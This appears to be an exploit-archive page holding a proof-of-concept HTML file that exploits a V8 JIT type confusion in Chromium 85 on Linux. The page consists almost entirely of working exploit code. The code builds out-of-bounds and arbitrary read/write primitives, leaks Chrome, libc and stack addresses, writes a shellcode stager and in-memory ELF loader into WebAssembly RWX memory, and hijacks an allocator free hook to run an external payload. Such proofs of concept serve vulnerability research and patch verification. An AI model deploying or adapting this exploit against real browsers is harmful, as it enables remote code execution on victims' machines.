4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / tmp.html HTML
<!DOCTYPE html>
<html>
    <head>
        <script src="elf.js"></script>
        <script src="embedded.js"></script>
    </head>
    <body>
        <script> 
            var buf = new ArrayBuffer(8); 
            var f64_buf = new Float64Array(buf);
            var u64_buf = new Uint32Array(buf);
            
            function ftoi(val) { 
                    f64_buf[0] = val;
                    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); 
            }

            function itof(val) { 
                    u64_buf[0] = Number(val & 0xffffffffn);
                    u64_buf[1] = Number(val >> 32n);
                    return f64_buf[0];
            }

            function exploit() {
                function force_gc() {
                    for (var i = 0; i < 0x80000; ++i) {
                        var a = new ArrayBuffer();
                    }
                }

                function empty() {}

                function f(nt) {
                    a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy 
                    ? 2.2 
                    : 2261634.000029185);
                    for(let i = 0; i < 0x100000; i++) {}
                }
                let p = new Proxy(Object, {
                    get: function() {
                        a[0] = {};
                        b = [1.2, 1.2];
                    
                        return Object.prototype;
                    }
                });
                function main(o) {
                    for (let i = 0; i < 0x100000; i++) {}
                    f(o);
                }

                function oob() {
                    for(let i = 0; i < 0x100000; i++) empty();
                    main(empty);
                    main(empty);
                    main(p)
                }

                let a = [,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1.1];
                let b;

                oob();
                
                let c = [1.1, 1.1, 1.1]
                let d = [{}, {}];
                let e = new Float64Array(8)

                let flt_map = ftoi(b[14]) >> 32n;
                let obj_map = ftoi(b[25]) >> 32n;
             
                console.log("[+] OOB array lenght: " + b.length);

                // fixed offsets for Chromium Linux Version 85.0.4154.0
                const kBaseSearchSpaceOffset    = 0xa500000n;
                const kHooksEnabled             = 0xa7bade8         //base::PartitionAllocHooks::hooks_enabled_
                const kFreeObserverHook         = 0xa7badf8         //base::PartitionAllocHooks::free_observer_hook_
                const kGOTOffset                = 0xa6df418;        //GOT offset for chrome
                const kWasmCodeGC               = 0xa6ea141;        //v8::internal::FLAG_wasm_code_gc

                function addrof(obj) {
                    let tmp = b[14];
                    b[14] = itof(((obj_map << 32n) + (ftoi(tmp) & 0xffffffffn)));
                    let tmp_elm = c[0];
                    c[0] = obj;
                    b[14] = itof(((flt_map << 32n) + (ftoi(tmp) & 0xffffffffn)));  
                    let leak = itof(ftoi(c[0]) & 0xffffffffn);
                    b[14] = tmp;
                    c[0] = tmp_elm;
                    return leak;
                }

                function weak_read(addr) {
                    let tmp = b[15];
                    b[15] = itof((((ftoi(addr)-8n) << 32n) + (ftoi(tmp) & 0xffffffffn)));
                    let result = c[0];
                    b[15] = tmp; 
                    return result;
                }

                function weak_write(addr, what) {
                    let tmp = b[15];
                    b[15] = itof((((ftoi(addr)-8n) << 32n) + (ftoi(tmp) & 0xffffffffn)));
                    c[0] = what;
                    b[15] = tmp; 
                    return;
                }

                let root_isolate_addr = itof(ftoi(addrof(e)) + BigInt(5*8));
                let root_isolate = itof(ftoi(weak_read(root_isolate_addr)) & ~(0xffn))
                console.log("[+] Root Isolate: 0x" + ftoi(root_isolate).toString(16));

                // creating a set of temporary AB to create (GC unsafe) arb read/write primitives
		// that allows an qword to be read/written to an 8 byte unboxed address (not possible with weak_write)
                
                let bff = new ArrayBuffer(8)
                let bff1 = new ArrayBuffer(8)

                let dataview = new DataView(bff);
                let dataview1 = new DataView(bff1);

                let buf_addr = addrof(bff);  
                let backing_store_addr = itof(ftoi(buf_addr) + 0x14n);
                backing_store_addr = itof(ftoi(root_isolate) | ftoi(backing_store_addr) -1n);

                let buf_addr1 = addrof(bff1);  
                let backing_store_addr1 = itof(ftoi(buf_addr1) + 0x14n);
               
                // overwritting the value of backing_store of 2 with the address of 1
                // to be able to overwrite the backing_store of 1 by writting to 2
                weak_write(backing_store_addr1, backing_store_addr);
                
                function set_arb_primitive_backing_store(boxed, addr, 
                        backing_store_addr_=backing_store_addr, 
                        root_isolate_=root_isolate) {                    
                    if (boxed && ftoi(addr) % 2n != 0) {
		        addr = itof(ftoi(root_isolate_) | ftoi(addr) -1n);
	            }
                    dataview1.setBigUint64(0, ftoi(addr), true);
                }

                function arb_read(addr, len, boxed=false) {
                    let result;
                    
                    set_arb_primitive_backing_store(boxed, addr)

                    // dereferencing backing_store AB 1
                    if (len == 1) {
                        result = dataview.getUint8(0)
                    } else if (len == 2) {
                        result = dataview.getUint16(0, true)
                    } else if (len == 4) {
                        result = dataview.getUint32(0, true)
                    } else {
                        result = dataview.getBigUint64(0, true);
                    }
                    return result;
                }

                function arb_write(addr, val, len, boxed=false) {

                    set_arb_primitive_backing_store(boxed, addr)

                    if (len == 1) {
                        dataview.setUint8(0, val)
                    } else if (len == 2) {
                        dataview.setUint16(0, val, true)
                    } else if (len == 4) {
                        dataview.setUint32(0, val, true)
                    } else {
                        dataview.setBigUint64(0, val, true);
                    }
                    return;
                }

                function get_image_base(ptr) {
                    let dword = 0;
                    let centinel = ptr;

                    while (dword !== 0x464c457f) {
                        centinel -= 0x1000n;
                        dword = arb_read(itof(centinel), 4);
                       
                    }
                    return centinel;
                }

                /// constructing stable addrof
                let lo_array_obj = new Array(1048577);
                let elements_ptr = weak_read(itof(ftoi(addrof(lo_array_obj)) + 8n));
                elements_ptr = itof(ftoi(elements_ptr) & 0xffffffffn)
                
                let leak_array_buffer = new ArrayBuffer(0x10);
                let dd = new DataView(leak_array_buffer)

                let leak_array_buffer_addr = ftoi(addrof(leak_array_buffer))
                let backing_store_ptr = itof(leak_array_buffer_addr + 0x14n);

                elements_ptr = itof(ftoi(root_isolate) | ftoi(elements_ptr) -1n);
                weak_write(backing_store_ptr, elements_ptr)
               
                function stable_addrof(obj) {
                    lo_array_obj[0] = obj;
                    return  itof(BigInt(dd.getUint32(0x8, true)));
                }
                
                // constructing stable read for v8 heap
                let heap = new ArrayBuffer(8);
                let heap_accesor = new DataView(heap);

                let heap_addr_backing_store =  itof(ftoi(stable_addrof(heap)) + 0x14n);
                let heap_accesor_length = itof(ftoi(stable_addrof(heap_accesor)) + 0x18n);
              
                weak_write(heap_addr_backing_store, root_isolate)
                weak_write(heap_accesor_length, 0xffffffff);

                // retrieving chrome image base
                let div = window.document.createElement('div');
                let div_addr = stable_addrof(div);
                let _HTMLDivElement = itof(ftoi(div_addr) + 0xCn); 
                let HTMLDivElement_addr = weak_read(_HTMLDivElement);

                let chrome_ptr = itof((ftoi(HTMLDivElement_addr) - kBaseSearchSpaceOffset) & ~(0xfffn));
                let chrome_base = get_image_base(ftoi(chrome_ptr));
                console.log("[*] Chrome base : 0x" + chrome_base.toString(16));

                // constructing GC safe chrome arb read/write
                let chrome_mem = new ArrayBuffer(8);
                let chrome_accesor = new DataView(chrome_mem);

                let addr = stable_addrof(chrome_mem);                
                weak_write(itof(ftoi(addr) + 0x14n), itof(chrome_base));
                weak_write(itof(ftoi(stable_addrof(chrome_accesor)) + 0x18n), 0xffffffff);
                
                // constructing GC safe libc arb read/write
                let libc_leak = chrome_accesor.getFloat64(kGOTOffset, true);
                libc_leak = itof(ftoi(libc_leak) & ~(0xfffn));
                let libc_base = get_image_base(ftoi(libc_leak));
                console.log("[+] Libc base: 0x" + libc_base.toString(16))

                let libc_mem = new ArrayBuffer(8);
                let libc_accesor = new DataView(libc_mem);

                addr = stable_addrof(libc_mem);                
                weak_write(itof(ftoi(addr) + 0x14n), itof(libc_base));
                weak_write(itof(ftoi(stable_addrof(libc_accesor)) + 0x18n), 0xffffffff);
                
                // invoking GCs
                force_gc();                 // Minor GC
                force_gc();
                new ArrayBuffer(0x80000000) // Major GC
                
                // ----------------------------------------- We are GC safe from here
               
                // Retrieving stack infoleak from libc envrion symbol
                let elf = new Elf(libc_base, libc_accesor);
                let environ_addr = elf.resolve_reloc("__environ", R_X86_64_GLOB_DAT);
                let stack_leak = libc_accesor.getBigUint64(Number(environ_addr-libc_base), true)
                console.log("[+] environ@libc: 0x" + stack_leak.toString(16))
               
                // setting a safe address for SHELF stack
                let shelf_stack = (stack_leak-0x80000n)  & ~(0xfffn);
                let shelf_delta = Number(sizeof_Elf64_Ehdr + (BigInt(G_AT_PHNUM) * sizeof_Elf64_Phdr));

                console.log("[+] SHELF stack: 0x" + shelf_stack.toString(16));

                // constructing accessor for SHELF stack
                let stack_mem = new ArrayBuffer(8);
                let stack_accesor = new DataView(stack_mem);
                let bstore_addr = itof(ftoi(stable_addrof(stack_mem)) + 0x14n);
                let dview_length = itof(ftoi(stable_addrof(stack_accesor)) + 0x18n)
                heap_accesor.setBigUint64(Number(ftoi(bstore_addr)-1n), BigInt(shelf_stack), true);
                heap_accesor.setUint32(Number(ftoi(dview_length)-1n), 0xffffffff, true);
            
                var wasm_code = new Uint8Array(
                    [
                        0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,
                        1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,
                        0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
                        128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,
                        111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,
                        128,0,1,132,128,128,128,0,0,65,0,11
                    ]
                );

                // forcing V8 to generate a continuous RWX memory region of 0x801000 bytes
                console.log("[+] Allocating RWX memory");
                for (let i = 0; i < 0x10000; i++) {
                    new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
                }

                // disabling garbage collection of wasm code
                chrome_accesor.setBigUint64(kWasmCodeGC, 0n);

                // retrieving start address of RWX region
                let wasm_mod = new WebAssembly.Module(wasm_code);            
                let wasm_instance = new WebAssembly.Instance(wasm_mod);
                let wasm_entry = wasm_instance.exports.main;

                let wasm_instance_addr = stable_addrof(wasm_instance);
                wasm_instance_addr = ftoi(wasm_instance_addr) + 0x68n -1n;
                console.log("[+] WASM instance: 0x" + wasm_instance_addr.toString(16))

                let rwx_page_addr = itof(heap_accesor.getBigUint64(Number(wasm_instance_addr), true));
                console.log("[+] RWX region: 0x"+ ftoi(rwx_page_addr).toString(16));
              
                // constructing SHELF image
                function setup_shelf(addr, payload, len) {
                    let wasm_mem = new ArrayBuffer(8);
                    let wasm_accessor = new DataView(wasm_mem);

                    let wasm_bstore_addr = itof(ftoi(stable_addrof(wasm_mem)) + 0x14n);
                    let wasm_dview_length = itof(ftoi(stable_addrof(wasm_accessor)) + 0x18n)

                    heap_accesor.setBigUint64(Number(ftoi(wasm_bstore_addr)-1n), ftoi(addr), true);
                    heap_accesor.setUint32(Number(ftoi(wasm_dview_length)-1n), 0xffffffff, true);

                    function bigint_to_array(val) {
                        var arr = [0, 0, 0, 0, 0, 0, 0, 0];
                        for ( var i = 0; i < arr.length; i++, val >>= 8) {
                            let byte = Number(val & 0xffn);
                            arr[i] = byte;
                        }
                        return arr;
                    };

                    /* [stager] :
                        48 b8 42 42 42 42 42 42 42 42       movabs rax,0x4242424242424242
                        48 89 c4                            mov rsp,rax
                        48 31 db                            xor rbx,rbx
                        48 31 c9                            xor rcx,rcx
                        48 31 d2                            xor rdx,rdx
                        48 31 f6                            xor rsi,rsi
                        48 31 ff                            xor rdi,rdi
                        48 b8 41 41 41 41 41 41 41 41       movabs rax,0x4141414141414141
                        ff e0                               jmp rax 
                    */

                    let stack_addr_bytes = bigint_to_array(shelf_stack - BigInt(8*3));
                    let entry_point_bytes = bigint_to_array(ftoi(rwx_page_addr) + BigInt(G_AT_ENTRY))
                    let stager = new Uint8Array([
                        0x48, 0xB8, 
                        ...stack_addr_bytes,
                        0x48, 0x89, 0xc4,
                        0x48, 0x31, 0xdb,
                        0x48, 0x31, 0xc9,
                        0x48, 0x31, 0xd2,
                        0x48, 0x31, 0xf6,
                        0x48, 0x31, 0xff,
                        0x48, 0xb8,
                        ...entry_point_bytes,
                        0xff, 0xe0
                    ]);

                    console.log("[+] Constructing stager")
                    for (let i = 0; i < stager.length; i++) {
                        wasm_accessor.setUint8(i, stager[i]);
                    }

                    for (let i = 0; i < len; i++) {
                        wasm_accessor.setUint8(shelf_delta+i, payload[i]);
                    }
                }
                console.log("[+] Constructing SHELF image of size " +  payload_len);
                setup_shelf(rwx_page_addr, payload, payload_len)
                    
                // constructing Auxv in SHELF stack
                console.log("[+] Constructing Auxiliar vector in SHELF stack")
                let phdr_addr = ftoi(stable_addrof(phdr)) + 0x28n;
                let phdr_addr_bstore = heap_accesor.getBigUint64(Number(phdr_addr -1n), true)
              
                stack_accesor.setBigUint64(0x00, AT_PHDR, true);
                stack_accesor.setBigUint64(0x08, phdr_addr_bstore, true);
                stack_accesor.setBigUint64(0x10, AT_PHNUM, true);
                stack_accesor.setBigUint64(0x18, BigInt(G_AT_PHNUM), true);
                stack_accesor.setBigUint64(0x20, AT_ENTRY, true); 
                stack_accesor.setBigUint64(0x28, ftoi(rwx_page_addr) + BigInt(G_AT_ENTRY), true);
                stack_accesor.setBigUint64(0x30, AT_RANDOM, true);  
                stack_accesor.setBigUint64(0x38, ftoi(rwx_page_addr), true);
                stack_accesor.setBigUint64(0x40, AT_PHENT, true);  
                stack_accesor.setBigUint64(0x48, sizeof_Elf64_Phdr, true);
                stack_accesor.setBigUint64(0x50, AT_NULL, true);  
                stack_accesor.setBigUint64(0x58, 0n, true);

                console.log("[+] Executing SHELF!")

                //wasm_entry();
                chrome_accesor.setUint8(kHooksEnabled, 1);
                chrome_accesor.setBigUint64(kFreeObserverHook, ftoi(rwx_page_addr), true);
            }

            exploit()
            
        </script>  
    </body>
</html>